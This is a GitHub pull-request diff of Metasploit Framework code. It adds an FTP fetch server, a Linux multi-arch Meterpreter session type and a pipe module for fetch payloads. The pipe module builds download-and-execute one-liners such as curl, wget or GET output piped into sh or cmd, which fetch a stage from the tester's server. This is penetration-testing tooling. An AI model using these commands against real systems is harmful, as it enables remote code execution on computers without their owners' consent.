Skip to content
Merged
Show file tree
Hide file tree
Changes from 11 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 26 additions & 0 deletions lib/msf/base/sessions/meterpreter_multi_linux.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
# -*- coding: binary -*-

module Msf
module Sessions
###
#
# This class creates a platform-specific, architecture agnostic meterpreter session type
#
###
class MeterpreterMultiLinux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end

def supports_zlib?
false
end

def initialize(rstream, opts = {})
super
self.base_platform = 'linux'
self.base_arch = ARCH_ANY # will be populated automatically
end
end
end
end
251 changes: 98 additions & 153 deletions lib/msf/core/payload/adapter/fetch.rb

Large diffs are not rendered by default.

30 changes: 30 additions & 0 deletions lib/msf/core/payload/adapter/fetch/ftp.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# Mixin for fetch payloads that retrieve and execute a stage over FTP.
module Msf::Payload::Adapter::Fetch::FTP
include Msf::Exploit::EXE
include Msf::Payload::Adapter
include Msf::Payload::Adapter::Fetch
include Msf::Payload::Adapter::Fetch::Server::FTP

def initialize(*args)
super
end

def cleanup_handler
if @fetch_service
cleanup_ftp_fetch_service(@fetch_service)
@fetch_service = nil
end

super
end

def setup_handler
unless datastore['FetchHandlerDisable']
@fetch_service = start_ftp_fetch_handler(fetch_bindport, fetch_bindhost)
@srv_resources.each do |srv_entry|
add_resource(@fetch_service, srv_entry[:uri], srv_entry)
end
end
super
end
end
13 changes: 8 additions & 5 deletions lib/msf/core/payload/adapter/fetch/http.rb
Original file line number Diff line number Diff line change
Expand Up @@ -20,14 +20,17 @@ def cleanup_handler

def setup_handler
unless datastore['FetchHandlerDisable']
vprint_status("#{__method__}:#{__LINE__}")
@fetch_service = start_http_fetch_handler(srvname)
escaped_uri = ('/' + srvuri).gsub('//', '/')
add_resource(@fetch_service, escaped_uri, @srvexe)
unless @pipe_uri.nil?
uri = ('/' + @pipe_uri).gsub('//', '/')
add_resource(@fetch_service, uri, @pipe_cmd)
@srv_resources.each do |srv_entry|
vprint_status("#{__method__}:#{__LINE__}")
escaped_uri = ('/' + srv_entry[:uri]).gsub('//', '/')
@myresources << escaped_uri
add_resource(@fetch_service, escaped_uri, srv_entry)
vprint_status("#{__method__}:#{__LINE__}")
Comment thread
bwatters-r7 marked this conversation as resolved.
Outdated
end
Comment thread
bwatters-r7 marked this conversation as resolved.
end
super
end

end
11 changes: 5 additions & 6 deletions lib/msf/core/payload/adapter/fetch/https.rb
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
# Mixin for fetch payloads that retrieve and execute a stage over HTTPS.
module Msf::Payload::Adapter::Fetch::Https

include Msf::Exploit::EXE
include Msf::Payload::Adapter
include Msf::Payload::Adapter::Fetch
Expand All @@ -21,11 +21,10 @@ def cleanup_handler
def setup_handler
unless datastore['FetchHandlerDisable']
@fetch_service = start_https_fetch_handler(srvname)
escaped_uri = ('/' + srvuri).gsub('//', '/')
add_resource(@fetch_service, escaped_uri, @srvexe)
unless @pipe_uri.nil?
uri = ('/' + @pipe_uri).gsub('//', '/')
add_resource(@fetch_service, uri, @pipe_cmd)
@srv_resources.each do |srv_entry|
escaped_uri = ('/' + srv_entry[:uri]).gsub('//', '/')
@myresources << escaped_uri
add_resource(@fetch_service, escaped_uri, srv_entry)
end
Comment thread
bwatters-r7 marked this conversation as resolved.
end
super
Expand Down
6 changes: 3 additions & 3 deletions lib/msf/core/payload/adapter/fetch/linux_options.rb
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
# Mixin that registers Linux-specific fetch payload options.
module Msf::Payload::Adapter::Fetch::LinuxOptions
def initialize(info = {})
super
register_options(
[

Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh)','none', ['none','python3.8+','shell-search','shell']]),
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP GET TFTP TNFTP WGET]]),
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh)', 'none', ['none', 'python3.8+', 'shell-search', 'shell']]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']),
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none'])
Expand Down
76 changes: 76 additions & 0 deletions lib/msf/core/payload/adapter/fetch/pipe.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
module Msf
###
#
# Common library for pipe-enabled fetch payloads
#
###
module Payload::Adapter::Fetch::Pipe
def _download_pipe(uripath)
"#{srvnetloc}/#{uripath}"
end

def pipe_supported_binaries
# this is going to expand when we add psh support
return %w[CURL] if windows?

%w[WGET CURL GET]
end

def generate_pipe_command(uri)
case datastore['FETCH_COMMAND'].upcase
when 'WGET'
return _generate_wget_pipe(uri)
when 'CURL'
return _generate_curl_pipe(uri)
when 'GET'
return _generate_get_pipe(uri)
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
end
end

def _generate_curl_pipe(uri)
execute_cmd = windows? ? 'cmd' : 'sh'
case fetch_protocol
when 'HTTP'
return "curl -s http://#{_download_pipe(uri)}|#{execute_cmd}"
when 'HTTPS'
return "curl -sk https://#{_download_pipe(uri)}|#{execute_cmd}"
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
end
end

def _generate_wget_pipe(uri)
case fetch_protocol
when 'HTTPS'
return "wget --no-check-certificate -qO- https://#{_download_pipe(uri)}|sh"
when 'HTTP'
return "wget -qO- http://#{_download_pipe(uri)}|sh"
Comment thread
bwatters-r7 marked this conversation as resolved.
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
end
end

# Builds a GET command that streams a served command directly into a shell.
#
# @return [String] The GET pipe command.
def _generate_get_pipe(uri)
# Specifying the method (-m GET) is necessary on OSX
execute_cmd = windows? ? 'cmd' : 'sh'
case fetch_protocol
when 'HTTP'
return "GET -m GET http://#{_download_pipe(uri)}|#{execute_cmd}"
when 'HTTPS'
# There is no way to disable cert check in GET ...
print_error('GET binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
return "GET -m GET https://#{_download_pipe(uri)}|#{execute_cmd}"
when 'FTP'
return "GET ftp://#{_download_pipe(uri)}|#{execute_cmd}"
Comment thread
bwatters-r7 marked this conversation as resolved.
else
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
end
end
end
end
47 changes: 47 additions & 0 deletions lib/msf/core/payload/adapter/fetch/server/ftp.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
# Mixin that provides FTP fetch handler support for fetch payload adapters.
module Msf::Payload::Adapter::Fetch::Server::FTP
def initialize(*args)
super
register_options(
[
Msf::OptBool.new('FETCH_SRVONCE', [true, 'Stop serving the payload after it is retrieved', true]),

]
)
end

def cleanup_ftp_fetch_service(fetch_service)
@myresources.each do |uri|
fetch_service.deregister_file(uri)
end
fetch_service.deref
Comment thread
bwatters-r7 marked this conversation as resolved.
Outdated
end

def fetch_protocol
'FTP'
end

def start_ftp_server(srvport, srvhost)
vprint_status("Starting FTP server on #{Rex::Socket.to_authority(srvhost, srvport)}")
Rex::ServiceManager.start(
Rex::Proto::Ftp::Server,
srvport, srvhost,
{ 'Msf' => framework, 'MsfExploit' => self }
)
end

def add_resource(fetch_service, uri, srv_entry)
vprint_status("Adding FTP resource #{uri}")
fetch_service.register_file(uri, srv_entry[:data], serve_once: datastore['FETCH_SRVONCE'])
@myresources << uri
end

def start_ftp_fetch_handler(srvport, srvhost)
fetch_service = start_ftp_server(srvport, srvhost)
if fetch_service.nil?
cleanup_handler
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}")
end
fetch_service
end
end
Loading
Loading